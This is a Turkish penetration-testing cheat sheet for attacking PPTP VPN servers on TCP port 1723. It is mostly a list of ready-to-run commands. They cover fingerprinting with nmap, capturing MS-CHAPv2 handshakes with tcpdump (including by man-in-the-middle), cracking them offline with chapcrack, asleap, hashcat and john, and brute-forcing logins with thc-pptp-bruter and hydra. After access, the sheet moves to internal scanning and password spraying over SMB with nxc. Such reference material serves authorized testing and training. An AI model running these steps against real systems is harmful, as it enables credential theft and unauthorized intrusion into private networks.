1723 - Pentesting PPTP
network vpn
PPTP (TCP/1723 + GRE) eski VPN’dir. MS-CHAPv2 zayıflığı hash yakalama ve offline kırma ile credential üretir.
Metodoloji
Section titled “Metodoloji”-
1723/tcp ve GRE’nin erişilebilirliğini doğrula.
-
PPTP handshake / MS-CHAPv2 challenge-response yakala.
-
Hash’i chapcrack / asleap / hashcat ile kır.
-
Elde edilen parola ile VPN veya başka serviste dene.
nmap -Pn -sV -p1723 TARGETnmap -Pn -p1723 --script pptp-version TARGETike-scan TARGET # komşu VPN ailesi içinBağlantı denemesi
Section titled “Bağlantı denemesi”pptpsetup --create lab --server TARGET --username user --password pass --encryptpon labnmap -Pn -p1723 TARGET; ping -c1 TARGETMS-CHAPv2 yakalama / kırma
Section titled “MS-CHAPv2 yakalama / kırma”# trafik dinleme (MITM veya kendi client handshake)tcpdump -i eth0 -w pptp.pcap host TARGET and \(port 1723 or proto gre\)chapcrack.py -f pptp.pcapasleap -r pptp.pcap -w wordlist.txthashcat -m 5500 mschapv2.hash rockyou.txtjohn mschapv2.hash --wordlist=rockyou.txtthc-pptp-bruter -u user -w rockyou.txt TARGEThydra -l user -P rockyou.txt pptp://TARGETPost-erişim
Section titled “Post-erişim”- VPN IP alınca iç ağ taraması- Aynı parola ile SMB/RDP/SSH spray- Routing table / split-tunnel farkıip route; ip anxc smb 10.0.0.0/24 -u user -p 'CrackedPass'Checklist
Section titled “Checklist”[ ] 1723 açık / PPTP fingerprint[ ] MS-CHAPv2 yakalandı[ ] Hash kırıldı veya brute başarılı[ ] VPN içi erişim / spray kanıtı